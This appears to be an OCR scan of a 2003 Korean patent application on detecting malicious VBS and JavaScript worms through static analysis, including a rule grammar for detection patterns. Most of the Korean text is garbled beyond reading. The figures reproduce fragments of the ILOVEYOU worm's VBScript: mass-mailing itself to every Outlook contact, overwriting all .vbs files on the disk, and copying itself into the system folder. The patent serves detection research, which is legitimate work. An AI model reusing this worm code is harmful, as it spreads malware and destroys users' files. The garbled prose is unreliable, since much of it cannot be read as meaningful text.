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SEIfi 
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664-800 
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0 2d OS! 
3 m 205,000 S! 

238,000 S! 

119,000 a 

1. SetA1-a/dlA1(EB)_1S 2.S±^ia^lSBAiaa HI 25 

Q\\°\m m±j\so\\ m&mm esofe Aiw_m 3.^110112 
3gcn&(£i^&&6J°i 01121, esiA|oi^ai)^§e ^is^ 
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mm 

3tt ^ ^1-^ S^S. Z^S] ^ ^iflfe- b] ^ ^ gc- ^ 

£ 9 
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33 °l-8-^r ^ #*1 y 0 Vl H {METHOD TO DETECT MALICIOUS SCRIPTS 

USING STATIC ANALYSIS} 

£ 1 £ ^eflo] ov^ 5£ 7]^^- q-^ufl £Al£, 

£ 3 £ ^2fl^ Al^^ ^>7l ^«8*Rr -gofl, 

£ 5 fe- t^ofl 2.71 BNFS. £.7}^ ^} , 

E6f ^ ^<H1 tc^ ^-^ <^ ^ d \} > 

£ 8 45} IRC# #4 t®$^ #x)tt7] fl"^ -*H, 

£ 9 £ ^<H1 4# 33 ^ s^-ir *#5Lo]cf. 



26-5 



1020030016207 #^ ^7>: 2003/4/30 



^Efls ofl^oiq- IRCUnternet Relay Chat) ^ ^fl^l* ^^slJl ^ 

^ccq ^ofl ^s. °]-g-^ ia^l <d<Hfe wl^'M i3L^E(visual Basic 

Script)^ x>a> ( JavaScript)!- # ^ ^iH^ *r#*H 

S = * ^^"S- ^ 7f^-O.S ^ ^3?jlt ^^^1^ ^ 

<12> ole^ ^ ia^EOj #*H^ oj^l ^^2] 3.^9)- v\&7}x}3_ A]ZL\jx\ 

(signature) 7]^$] i?fl ^ (scanning)^- ^-tr °o v ^°l £3 Af-g-s} ji oicf. ZL^q-, o] 
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<13> ZL&|U)-, Oj^l oV^ ^ ^.a. <§EflsL ^fl£}^- <5>^j ^H.^EoflA} ^ V 

^*flS ^ *J^7> a^oflJE ^c5fj! ol^- ov^ 57 c S ^ ojf-( false 

positive)7l- «J«1^7fl <*M* 7>^7ll €4. ^3 3h3^ ^ 

^ ^ ^7> ^ i7l*>Jl ( ^ ^a^H^H 

<14> tb^, ^ iafl Sa.7]- ^*3<5Kr tfla^o] q-^ t^s. A^j^ a]^ 

€- 7]^ sl-^-i- ^ o>eflo^ je. l £ ^ ia^S7} 

^^Kr ^ SH^h 

<15> 
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IS. 1] 





6 A 4] 








IRC oi-g-sj. ^7|^-^i 










ci|o|Ei spy ^ 





— o]-^-- o| pfl^ojl sj-^ iktt$= B o^AS 

<H*H, IRC* ^ 4^1 irc l-ef-ojoiE ^ S zl^^ ia^s s^-S: *r3«M ^ 

*1* q-^ 4<1H1 <§HflJL 7R1# ^^l^l^ ^}7l4-7fl ^swtK *4 

^ *33 ^«2H] ^.S-tF 7.]^^ ^ofl ^ SH}. , o]b\*y ^ofl ^e*> 

71 |[2 ofl COM £&tt ActiveX 2qsfl# oj-g-^- * o|cf. 

<18> 
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IS. 2] 



A *\\ 


4J- £• 


Scr ipt ing.Fi lesystem 




WScript. She 11 




WScript .Network 


M|S$|H. ^efo|«. o|-g- 


Out look. App 1 i cat ion 


»\}<U 



<19> 'Scripting.fi lesystem' ^Hlfe Al^ofl ^ ja.*^ ^^-fetfl o}-g-^ 

^A> ( 3^ jf|.<g AV^l =0] tgjflg. ^£L^E S £L1- ^ ^Cf. 

'WScript. Shell' ^Ife ^JE-f ^jy.* ^^t} = 7] 

71 ^«fl>H °l-g-€^. o] tJ}^ ^^-f Al^Bfl ^^Eg] ^if 4 s 5U^r *H4i 

S.Sr a||3.£ SS^l^f ^Al^)^ ofl^JEl , 71 ^ ^ ^ *r ^ 

= Xl^fVcf. Ql^ ^^^o\}A^ O] 7fl^6)]A^ SlI^liEe] ^ 

, ^fl3.£ T^^rfe- A>-g-^-o^ -E-aKtrojan horse)^ ^ <5| 

Aj ^r^A] 71 7l£ 'Outlook.Application' zfl*)]^ *1a} ^1^^ ^ 

J$»g- £U 7>A]0l ^JjL^ AflS.^ Ofl^^- ^ g ^*VCf. 

<20> ^sfl^ av^ ^^ESl #*H±r 2£f 71^^ ZLv^S. ol-g-*M*4, 

yV^ojcf. oleitb ^Efl^ =7£L 7l«^ £ 1 4 ^01 ^ olcf. A] 

^o\) ^tr £^Rr *fl# S = # ^js}^ ovAj o^y-s- #c^}-^ ^3 
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(direct method )*f, ^ ^ ^} M-Bfuf-^ ^ ^ #^r*H ^#S r 

xr ^(indirect method) ^-S ^ &t}. °1 ^ tf€- 31 °1 ^ ±i 

^tb ^rff^ ^ <H-t-» ##*Rr ^7H sj^r 3.^ ^7fl^-i- ^-efl 

sflU^- 3^*Rr ^-7flH , <*«-§■ SIM^ tti, ^ ^ o. ^ c]]^- 51=21 s)]^ 

^l*Rr ^71, =LB]J1 3\-<U°] l^^-g- ^A>*>^ Q*\7]5Z £^ ^ $24 

^-7H^ (scanning)^- ^ZLxj^ (signature recognition)^ 7K V Ji^o. 

5. A>-g-s]jL 5U^ 51— °1 y <Hl^ ^W^l ^ ia^ofln]- ^7fl^ 

^ 5U=S] ^^}7H1 ^ &l=Kr 7}*)JL olcf. ZL^U}, <^ 

*1*1 ^ r^fl^ cfl-§-%V ^ ^0.11^., o>Elt3>ole^ Sfl^ 

^S^^l Al^iui^^- ^JLW 0 V^# 3E.^Hr 4^ ^ C-HolEiBflo]^ ufl^^ 

71 #*r*l ^ A>^-7>#ol oVAj iELjrofl ^^5. ^«>oll o^cf. S^, ^£1^ 

Mt^ tfl^ ^7Hr-^4 IRC, MlH«j ^-fr f-^g- 3§-n ^S- #4 ^£7} f 

§^ (heuristic analysis)^- 7}^^ ^S.-S: ^ ^=^1 #M^r Sl^ 

°1$7)1 t^^l 71^^- ol^>o^ V^LH^^ ^*}7)} 
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^cf. ^ JEtb = 5.l2 5 S°lJE.S ^d£^<y ^-fr ^-f- ^ SJE. »1^> 

*<>1 #^*>7ll £4. n]-eH, °H ^ 7l^ofl tfl^ ^ej^^ oj-g-^ 

U J£# ^ S = » y o V ^°14. °1 ^T-£7> tilm^j BB>5J7 

^ ^l#^r 2L°M, ^3 cfdi fecKr 7>^Jl $14. ^3 « 

*j^8r 7H> 71 Till; #6fl^ =IEL^ ^15}^ ^ # 

°fl I^I^Rr 7>^(resource)#^l lH)*Rr t^^^l 

^ #*l*Kr °o v ^°]4. °1# SWfe 7>^" 7)7111- ^*Mo> 

€ ^(object) ^ ^1^*^* S.-T- *}B-3. nfl JI, *L 

<24> ^ ^>^r(behavior blocking) 7]*]£- ^^flS. cfl^ ^^^°fl^ -SH.il- ^ 
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^1^1^ 3 ^Hl^ ^3 ^e^^ii o. ol-g-^V ^a}*V ^o.S ^ $Zrf 

. ^ll:^) 0 ^^ 6 >¥^ -^-g-Cside effect) *m 

^}JL ^-Al^- ^^*>r}^ oVAj ^^7} o^o]^} s\b.S., t^iEL S.^o) 

M- ^-H £^ -^4 ej-S ^=7]- 7>^oi ^.o. sjo^ ^ 

Sl^ oil- ^ ^^>^o> *lcf. n}^, ^^^0.5. ^-^H^H^ ^-o. ^ ^ 

2fl^ ^17]- <^3I ( Z]-^ f$°]7\ ^7> ^o]7)H.S. 

^•t- ^-gr ^ _£.fKfalse positive)!- JsL°l7fl ^i}. 

^(integrity checking)^ c]iai ^fl^Rr ^*fl SEfe ^ 

Z\-<Q2] ^^tt ^-g-^ ^5)"7> ofl^Tr ^>-8-^ ^^r 

^ ^ ^» lHW?H=Kr T^^g- 7MH 5^. ^^i, ^ Aj-oflAi ^ ^ 

J= SE^r Al^tfl intrusion)^ ^ -^A^ <H^f a^ea s^-i-ofl 



A o V ^f!r «>S+ ^ #^<2]- Jf ^ ^A> 7}*£2) <y*flAi ^ =7^ 3. 

HL^r ^Sel^-M^- ^--8: ^ ^^14 #^ ^A>*>^ « o vai o.^ o].g-£] 

-H o]^, £^2) t\\^o] 5)^ v\]±EL2± o^E^ ^ S 7>7l ^^§> 
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<27> ov^ 7 >^*> ^ Aj^Efloll &z\-S\o] ^ ^ £^.3- 91 

7>7l 4M1 A}-g-£)^ AA^r ^EL^I=*\)*}5L 

£ 2 51 ^ofl *lMtt e-lM-eflEiUove letter) ^ <H^-5>} nflGj-g. ^ *} 7 ) 

«v^>^ Jf£o]tf. ne^, rifl^-i- ^ x\7)^*m ^^5}b7}§ 

^ O^e} 2f^0fl <17^ ^E^-H Eo^ ^fl e^JjLi^ ^jAB^o] qv^ <^ 

7>5l7fl £t}. ^ 57fl ^ 47fl v±o]^ ol^ 2. 

^£1^5^ ^ ^^Cf. ll|-&M f ^^ofl ^c^IL Dflo^^. ^^o} 

#^Hr ^(legitimate) iH^Mf ^6.5. ^ ^.^-7> ^*}7fl ^c}-. 
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<29> &*fls|^r ^ 5. 3 4 *H ^HH *>7l ^*Rr — 3.%] M 

^^1- -f-SIH ^l^t *r 5^4. £ 3 -g- ia^i 3.^ 

^ ^ VBS sKH *H0fi] ifl-g-^ (overwrite) a]^^ ^ 

^ fM*r^ ^ ^-^^-ir ^.olTfl ^cf. nJ-eM, tflJjL-g-o} o>b| 

# ia.^Eol]^ 7^ A|-g-£|^ &i=. ffl^JE. Jl##S. o]=o]^ o^a oV^ f$o) 

<30> o}6)) ^. 7 |<q. ^-c. ^^.g. f%^} 7 ) o>#^ ^JLJ^i, ^^tb 
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^ S^iLS z|z|^ ^ ^ ^.o. ^ ^ ^ ^ 

-s-^mi A>-g.^ ^ ^1* -g-^n ^ ^* ^ "U 1 

^-71 nfl^l fl-a)^ YtSlr 3H sflEi^ ^£ SflfHH A>-g-£ o]*} 

°1*4I, -SM ^n 1 fl-^^r fl-^l-i- M-Bj-tfc ^t^K Identifier), ^ #*1 tfl^o] s] 
^ i3|E *J<H# ^«Hr sfl^i^L ^S)JL, #7l 

#31 ff-^]^ sfl# fl-^ol d>^£]7] 2i#o] 7}^s\^ S^^(Cond), ^ #7l S^i 

^ STd^l ^€ °fl ^€ vfl-g-o] 71^51^ ^^(Action)S ^£)^r ^ <=>1 



<33> ^# JE^-g: £ A oMl^l €^*>7lS tb4. 

<34> 51 4 ^o\) rfl^. 7 fl^-^ ^*>7l t> ^ 7>7l 43l# ^*8*Rr 

«1^ ^S^e ^o^jolcf . ol^^ 2 <HH 3H# 7V7l ^-afl iSJEL ^ 
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A>o]ofl S-ig^- ^^ 7 > ^*flS>°1 0 > *Vtf. ^l^cfl, 4«8S1 Copy ^-EL^r ^7fl ^<?1 
^3|lf 1 L0VE-LETTER-FOR-YOU . TXT . VBS ' Ej-fe- o|f o S ^-a^^ji, 7*$S) 
'Attachments. Add' ffldiiJE.^- ZL A fl ^Ir^^l "AH 7 A^M $-¥-#.2.3.*] *\}<£-^ 

*}<U^r A$^}JL Sf^t ^^Rr ^±!=- S#o] 

4 Si 4*3£: ^^^H 1 ?} 7<8<M on^ofl ^^Rr sJ-lM 'MYPIC.JPG' ^ ^7)1$ 
^ npgoia^ °l 7 A£r *\}<U^ 7\y] ^AS. ^>o> tvq-. 2L*h 4^ £ 

^#S1 ^A} £ ^ ^^HM ^ SHr^l, 3*SS1 ' C ' ^ Sfl^ ^3.^ xRls] sj. 

«S €1-8: 7M>11 5] Jl 4«gS] copy ifl^S. -f-*fl 3.2J ^!^*>7fl ^tj-. 

^M-, ^ copy Jl#°1 'd.copy...' sf ^o] ^ ^Xl&fe 5[<£ qjft 

9] ii£l $H ol^ ^3.^7} o]5J^ t^tj} °^-*V Cf^ s^o} ^-a> 

n>=^ 3^ ^ ^>7l ^7> 0\X^2\JL ^ $Icf. 

<36> #£fl^ ^ ^3^3 ^>7l ^ <8$H ^ afl^H. 

#4. °fl?Hfl, 5U£r rfl^HlTfl 7.1-A1S1 A>*l-g- x^l^S #^Rr iH^I 

7> #5flS] ^Sl^BJ ^AW^ ^ ^^o. ufl 
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S afllH ^^-^ *>7l *R1 5E^r *R}^ *M1£-°1 o>TJ|sf^ o}^^- OV^ sgOj^ 

*Hr*V*l S^l ^Cf. £ 4 4 ^HH^M*!, -g- ^ofl ^ 

*fl ^ °>^s1- ^>-§-€ 4°^, 'fso\ V, 'out*, 'male' ^4 2.^ #31^ & 

91k)-. o}^ 7 )^*\ ^ *33H cfl*l *s]^f 01^-^4^ ;*H]Ai ^efl 

^ £r*N 3-— ^ 71^4 ^-Aj-tV ^^*1 ^SW^r *r<>l^ 

<37> ^ofl Ojc^A], olE^ OT-Aj ^<j>^ p)1^t= Al^^nl ^ ^ ^ ^ 

t}<£^ nfl^c JE^r ofl^iE. A]^^ ^O.^ oj^^^lcf. ^*\, ^ 

^ Sl^r *>M- ofl^c Jr^S-^. ol^C^^lrfzi S.^^^j7 ( z| 

4 nfl^JEL Jl# ^l-M-^ ^(rule)^-S a^t}. 

<38> Olttfl, OV^ ^ ^ fl-^ i3fH 3=oflAi B^)^ *§E|]» nfl 

^ fl" 2] (matching rule)4 *ti*l€ sfl^?!^ ^r^l» ^31 ^(relation rule) 

^^-^14. i 5 ^ ojei*V ^ S 7l ^^g- BNF S. S.7]~$t ^°14. £5t #2: 
, <Match_Rule>' ^ nfl^J tT-^MoI, M-^^r ^ ^(identifiers 

sfl^iS. ^£4. ^^Hr 'M' iLS ^ i£jr 7 }- ^#^^lcf. 

<Htr ^-^^ 7}^14. ^, z]- nfl^7> A>-g-^ fr^l ^^r(variable)S 
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\§o] cfs. fl-^o] oj^-g- o]-g-^ ^ ^.^ •<Relation_Rule> , £ ^Tfl 

(Action)S. =L&*i, -*7l^ ^7]1 fl-*^ Tj^-ofl ^-Sfl AjEfl^O.^ # 7 ) 

ol^ofl nV^£]o^c> ^ ^.^ol 7l^£l^ 7| ^ S# (Precond)^- ^7} 
S 3 ^ olcf. n^, fl-^^r 71 7]#£ fl^o] 

<39> tt^, &o] ov^ ia^ii €^ti*Hr ^ 

4. °1^1tt *>7l^-*fl ^ Sfl^i fl"*H cfl*V ^]«- # 

1=^3 «fl 7}A]J4 vfl-g-sl i£l^J=# £ 6 £r 4^ S.^ ^ 

'ML1 ' <H] 7)#^ ^Bfl^ t^}^, *fl# fl-^ol n>3=: 7 |JL 

^>7l fl«fl ^J^a( instance)!- ^*>ul, <^7H1 ' $1' 4 '$2' °1] sfl^SRr 

S^VI* al^th SE?h <£#^ #31 *M ^741^1^ ' RL0CAL' o] 'MLl* ^ ^4 
*H 7>-^^o.S. ^^s]^ t^^I H-^^IjI, 'MLl' S] '$2' ^-^r^cf. 
'Ml' ofl>H '[]' 3. S7l^ -^-^ ^-g-^ *fl^- ^-^(option)ol^S. U 
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# 3-f5= M-bHH, <y^> ^*fl 1-Jl ^ <83]7> H-^^r *fl 

# ^-i- 7^ *S3 *fl€«l 

'RL0CAL.$1' ^^"W. 
< 40 > v\)<£^r ^-tb *>7"1-Mlfe 5.^ ^«H1 4*H€ 3^<y S£^ 7R1^ ^ sfoj^g. tjfloj 

^1 #^Rr ^^^lcf. 51 7 ^<H1 ^Ml^ ^ 

- Sj.o^ pflo^j ^JjL^ Jf^ nflo^o. -^-grJlS. ol-o^^ 

<S ^ 91^. 'MAI' ^ 'MSI' AA "fllHl ^-8: ^Wfe pfl^ 

2Hf i-M^N^, ' RATTACH ' ^ 'MAI' 4 ^ ^ ^1 ^ ' RL0CAL ' 2) 

°] ^€4. 1 RSEND 1 ^ *\}<Q°\] ^-¥-*Kr 'RATTACH' ^ pfl 

H ^ 'MSI' °1 ^7fl^r>Jl, v\]o^ ^75}^ Zfl^sq- sj-oj^ 7fl^ 7 > ^ 

<41> 7}^- ^O] A]~g-5]i=, sflig IRC SS.ZL^£: tfl-^ 

7}^!^ ol^H( event)* *l^*Rr ^UW. ^ ^ i3 

^es-o. o]^ ^ IRC £^^5] s)-^^: ^Isf^, *fl^ #ofl tflsj. ^-cfl^lTil S 

^ 4 A >^-°m- 7R}^ ^-M. s^-^ ^ ^^c^l 51 8 £r ^ IRC 

flfe &7><iol 3^ fl-^^ ^7f<i* 5L^}JL Si^7>l- ^A>*Vcf. nj-^A-j, ol 
-^HHH^r ' S end $nick' 3<H1 ^7fl*]-& ^-7><ioll ^-^1^-^ 
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< 42 > £ 9 i=. £ ^6j| a|-s. ^ 4^^. u}-e}.u£ *#£^>14. ^ 

A}-g-*}j7 oicf. oje^ &a)1^ ^eflsl ^-i: fl^ 31*13 

^<H^ iH^St 33 ^eHs. ^^cf(S910). o]o]x] t ia= sfl^ ^-aji 

4^ ?1*M ia^M ^7} ufl^l fl-^ij- 2E afl^-g- 

fl-^S] oliEdit ^ W(S920). ^, S= 3fl€ ^ 43 °1 **H*r ^<H^1 

431 fl-*]* ^*Hr ^J-i: 431 fl-^j^ ol^^i* W(S930). ^, :2J= 

3fl€ ^ 434 4^>7HS 431 fl^o] n>^£]^ 431 ^ °Ji^^7} # 

^^^d), Sfl^Hr 431 <£44 4^ 431 fl"^ nV^ <^«-l- 31^3^ ^ 

A}^ Cferf. 3fl^ ^ 4^(S920)4 431 ^-^ 43(S930H ^3^1 3 

^ ^4 *fl# -S— ^1 ^ ^^1" ^}-§-*H31 ^tl:Cf(S940). cfl^f-g-^ ^ i£L 
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<44> o]s£ n}9\- go] ^ ov^ yj-ttj oV^ 
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[3^* 11 

^ ^ S^ilsL ^ *J-6. 

#*1^& Cfl^ 33=0)1^ AV 7 ] nfl^l fl-^ul). ^SItt 3.^ 5fl€# ^"^^>£l 

2] 

1 *oHl SH^i, 
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-SM fl-^^r ^^-8- M-B^ifl^- ^t*K Identifier), ^ <3#°1 ^ 

<£o^ ^.<y^. oVAj 3^0.3. 

^•71 ^-^1 aflig- fl-^o] *}^S}7) S^o] 7l#£]^ S^CCond), £ 

A o v 7l s^oj nfl vfl-g-o] 7l#£l^ *afl-¥-(Act ion)S ^€ ^-gr 

3] 

(Precond)-8: ^7}S. 3 
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[51 11 



BXI AISOll Sift 



AIHLiS) 21X1 



S3 







¥23 SAPI 





qioie) ±±011 



2] 



GelNameSpace 
Address Lists 
preateitem '* 
AddressEntries 
Attachments 



MAPI 

AddressEntriM.Cottfit 
Attachment* ^ '« 



set out = WScript.CreateObject(*Outlook. Application") 
set mapi = o u t jG a tN ame$ pac eK "fldAPfr ) 



for ctrlists = 1 to mapi .ftddres sLisffi Cou nt 
set a = mapi4ft<feire.s3Li3tg|{ctrlists) 
for ctrentries = 1 to a MdlfiasgmrJe^ gynD 

maiead = a JAtidres s EntrVeSK x ) 

set male.= ouLjCfeateltemjO) 

male. Recipients. Add(malead) 

male. Subject = "ILOVEYOU" 

male. Body = vbcrlf & "kindly check the attached LOVELETTER coming from me." 
male |S^chmen'ts| .Add("WLOVE-LETTER~FOR-YOU. TXT, vbs') 
male.^e^) 
next 
next 



IS. 3] 

Set fso = CreateObject("Scripting.FileSystemObject") 

set file = tso.OpenTextFile(WScript.ScriptFullname.l) 

vbscopy = file.ReadAII 

file.close 

folderlist("C:W") 

sub folderlist(folderspec) 
dim f. 11, sf 

set f = fso.GetFolder(folderspec) 
set sf = f.SubFolders 
for each 11 in sf 

intectfilesO l.path) 

folderlist(fl.path) 
next 
end sub 



sub infectfiles(folderspec) 
dim f. fl, fc, ap 

set f * fso.GetFolder(folderspec) 
set fc = f. Files 
for each f1 in fc 
if fso. GetExtenstonName(f l.path) = "vbs* then 

set ap~fso.OpenTextFile(f 1 .path.2.true) 

ap.write vbscopy 

ap.close 
end if 
next 
end sub 
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[51 4] 



Set j f so| = CreateObject("ScriptinQ-BleSystemObject") 
Set dirsvstem = | fscj .QetSpecialFolder(l) 

Z=Q^.GetFile(WScript.ScriptFullName) 
Dv pfsvstem& , 'WLQVE-LETTER-FOR-YOU.TXT.VBSl 
set |outl = WScript.CreateObjectC'OutlbQk. Application') 
set |male] = |outl .Createltem(0) 

fn^ Attatchments.Add fMirsvstem&"WLQV£-LETTER-FOR-YOU.TXT.VBS H | ) 
Imalejsend 



[51 5] 


<Match_Rule> 


<match_ruld_id> <pattern> 


<pattern> 


::= { <variable> ! <string> 1 J <char> } 1+ 


<Relation_Rule> 


<relation_rule_id> [ <preccnd> 3 [ <cond> ] <action> 


<cond> 


::= *cond" <rule_variable> [ *==* ! ] <rule_variable> 


<precond> 


::= "precond" <relation_rule_id> { * <relation_rule_id> } 


<action> 


::= "action" [ <assignment> I alert ]\. 


<assignment> : 


:= <variable> "=* <rule_variable> 


<rule_variable> 


:= (<relation_rule_id>*. *<variable>) J (<match_rule_id> w . *<variable>) 


<variable> : 


:= "$"<digit> 


< re 1 a t i on_ru 1 e_ i d> 


:= *R"[<digit> ! <alpha>] 


<match_rule_id> 


:= "M"[<digit> ! <alpha>] 


[51 6] 



ML1 : Sl.copyfile wscript.scriptfullname, $2 [, *] 
RLOCAL : precond ML1 

action $1 = ML1.$2 

Alert local copy 



[51 7] 



MAI : $1, Attachments. Add $2 
RATTACH : cond RLOCAL. $1 == MAI. $2 

action $1 = MAI. SI 
MSI : $1. Send 

RSEND : cond RATTACH. $1 == MSI. Si 
action Alert spread by Mail 



26-25 



1020030016207 



#^ 2003/4/30 



8] 



MM : * send Snick $1 

RIRC : cond RL0CAL.$1 <MI1.$1 

action Alert spread by IRC _ 



IS. 9] 



S910 
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S920 



S930 



S940 
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